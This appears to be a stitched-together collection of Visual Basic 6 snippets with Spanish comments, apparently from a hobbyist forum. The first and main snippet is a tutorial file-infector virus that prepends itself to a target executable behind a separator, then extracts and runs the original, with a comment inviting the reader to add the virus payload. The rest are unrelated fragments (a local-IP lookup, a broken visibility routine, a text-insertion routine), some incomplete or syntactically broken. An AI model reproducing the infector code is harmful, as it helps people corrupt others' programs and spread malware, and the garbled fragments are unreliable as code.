Private Sub Form_Load()
    
    Dim Datos As String
    Dim Original As String
    Dim Yo As String
    Dim Result As String
    
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Abrimos el mismo programa
        Yo = Input(LOF(1), 1) 'y ponemos el codigo en la variable 'Yo'
    Close #1
    
    Buff = Split(Yo, "----SEP----") 'Dividimos esa variable (espero que sepas como funciona el Split)
    
    If UBound(Buff) > 0 Then 'Si se pudo dividir en mas de 1 pedazo (la variable Yo)

        Result = Buff(1)
        
        Open "C:\Resultado.exe" For Binary As #2 'abrimos un exe nuevo para introducir los datos
            Put #2, , Result 'ponemos todo lo que hay DEBAJO del separador
        Close #2
        
        DoEvents
        
        Shell "C:\Resultado.exe" 'abrimos el programa (el original)
        
        
        MsgBox "Aca podemos poner el codigo del virus, o ponerlo al finall"
        Unload Me 'nos cerramos(optativo xD)
        
    Else 'si NO se pudo dividir, entonces es que no existe el separador. Lo creamos...
    
        Open "C:\nylon.exe" For Binary As #3 'Abrimos el programa a infectar
            Original = Input(LOF(3), 3) 'Guardamos el contenido en la variable 'Original'
        Close #3
        
        Datos = Yo & "----SEP----" & Original 'Esto es lo que vamos a introducir en el archivo a infectar (YO = Nuestro virus, SEP = Separador, Original = archivo verdadero (el que estamos infectando)
        
        Open "C:\ProgramaAInfectar.exe" For Binary As #4 'abrimos el programa a infectar (modificar esta linea)
            Put #4, , Datos 'metemos los datos que grabamos antes
        Close #4
    
    End If

End Sub

'Al final de todo el proceso, el programa quedaria asi:
'
'--------------------------
'Nuestro programa
'---SEPARADOR---
'Programa original
'--------------------------
'
'
'Entonces, cuando abrimos el programa infectado, se abre NUESTRO programa,
'este busca lo que hay debajo del separador y lo mete en un nuevo archivo,
'despues abrimos ese archivo y salimos.
'
'
' Un abrazo y suerte
'
'
'
'   .NYlOn.
'
'¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ END ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim DT, DD As String
    Winsock1.GetData DT
    DD = DD & DT

Public Const MIN_SOCKETS_REQD As Long = 1
Public Const WS_VERSION_REQD As Long = &H101
Public Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \ &H100 And &HFF&
Public Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF&
Public Const SOCKET_ERROR As Long = -1
Public Const WSADESCRIPTION_LEN = 257
Public Const WSASYS_STATUS_LEN = 129
Public Const MAX_WSADescription = 256
Public Const MAX_WSASYSStatus = 128
Public Type WSAData
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To MAX_WSADescription) As Byte
    szSystemStatus(0 To MAX_WSASYSStatus) As Byte
    wMaxSockets As Integer
    wMaxUDPDG As Integer
    dwVendorInfo As Long
End Type
Type WSADataInfo
    wVersion As Integer
    wHighVersion As Integer
    szDescription As String * WSADESCRIPTION_LEN
    szSystemStatus As String * WSASYS_STATUS_LEN
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As String
End Type
Public Type HOSTENT
    hName As Long
    hAliases As Long
    hAddrType As Integer
    hLen As Integer
    hAddrList As Long
End Type
Declare Function WSAStartup Lib "WSOCK32" (ByVal wVersionRequired As Long, lpWSADATA As WSAData) As Long
Declare Function gethostbyname Lib "WSOCK32" (ByVal szHost As String) As Long
Declare Sub CopyMemoryIP Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)
Public Function GetIPAddress() As String
    Dim sHostName As String * 256
    Dim lpHost As Long
    Dim HOST As HOSTENT
    Dim dwIPAddr As Long
    Dim tmpIPAddr() As Byte
    Dim I As Integer
    Dim sIPAddr As String
    If Not SocketsInitialize() Then
        GetIPAddress = ""
        Exit Function
    End If
    sHostName = Trim$(sHostName)
    lpHost = gethostbyname(sHostName)
    If lpHost = 0 Then
        GetIPAddress = ""
        MsgBox "Windows Sockets are not responding. " & "Unable to successfully get Host Name."
        Exit Function
    End If
    CopyMemoryIP HOST, lpHost, Len(HOST)
    CopyMemoryIP dwIPAddr, HOST.hAddrList, 4
    ReDim tmpIPAddr(1 To HOST.hLen)
    CopyMemoryIP tmpIPAddr(1), dwIPAddr, HOST.hLen
    For I = 1 To HOST.hLen
        sIPAddr = sIPAddr & tmpIPAddr(I) & "."
    Next
    GetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)
End Function
Public Function HiByte(ByVal wParam As Integer)
    HiByte = wParam \ &H100 And &HFF&
End Function
Public Function LoByte(ByVal wParam As Integer)
    LoByte = wParam And &HFF&
End Function

Public Function SocketsInitialize() As Boolean
    Dim WSAD As WSAData
    Dim sLoByte As String
    Dim sHiByte As String
    If WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS Then
        MsgBox "The 32-bit Windows Socket is not responding."
        SocketsInitialize = False
        Exit Function
    End If
    If WSAD.wMaxSockets < MIN_SOCKETS_REQD Then
        MsgBox "This application requires a minimum of " & CStr(MIN_SOCKETS_REQD) & " supported sockets."
        SocketsInitialize = False
        Exit Function
    End If
    If LoByte(WSAD.wVersion) < WS_VERSION_MAJOR Or (LoByte(WSAD.wVersion) = WS_VERSION_MAJOR And HiByte(WSAD.wVersion) < WS_VERSION_MINOR) Then
        sHiByte = CStr(HiByte(WSAD.wVersion))
        sLoByte = CStr(LoByte(WSAD.wVersion))
        MsgBox "Sockets version " & sLoByte & "." & sHiByte & " is not supported by 32-bit Windows Sockets."
        SocketsInitialize = False
        Exit Function
    End If
    SocketsInitialize = True
End Function

MsgBox GetIPAdress

Open app.path & "\hasama.txt" for append as #1

Frame1.Visible = True

Private Sub Visibilidad()
If  list.text = "Hello" then
image1.visible=true
text1.visible=true
label1.visible=true
image1.visible=false
text1.visible=false
label1.visible=false
else
........
End Sub

Private sub Command1_Click ()
    Call Visibilidad
End SUb

    Dim Final, Todo, Buff, Frase As String
    Frase = vbCrLf & "y" & vbCrLf & "a" & vbCrLf & "todas" & vbCrLf 'Aramamos la frase
    
    Open "c:\linea.txt" For Input As #1 'abrimos el archivo a modificar
        Do While Not EOF(1) 'mientras no se haya terminado
            Line Input #1, Buff
            Todo = Todo & Buff & vbCrLf 'ir poninedo linea por linea en una variable
        Loop
    Close #1 'cerramos
    
    For i = 1 To Len(Todo) 'desde 1 hasta el largo de la variable
        If Mid(Todo, i, 3) = LCase("soy") Then 'si encontramos la palabra 'soy'
            Final = Left(Todo, i - 2) & Frase & Right(Todo, Len(Todo) - i + 1) 'ponemos en una nueva variable lo que esta antes del 'soy', nuestra frase y lo que queda al final.
        End If
    Next i
            
    Open "c:\Modificado.txt" For Output As #1 'Abrimos el archivo resultante
        Print #1, Final 'ponemos la variable Final que nos habia quedado
    Close #1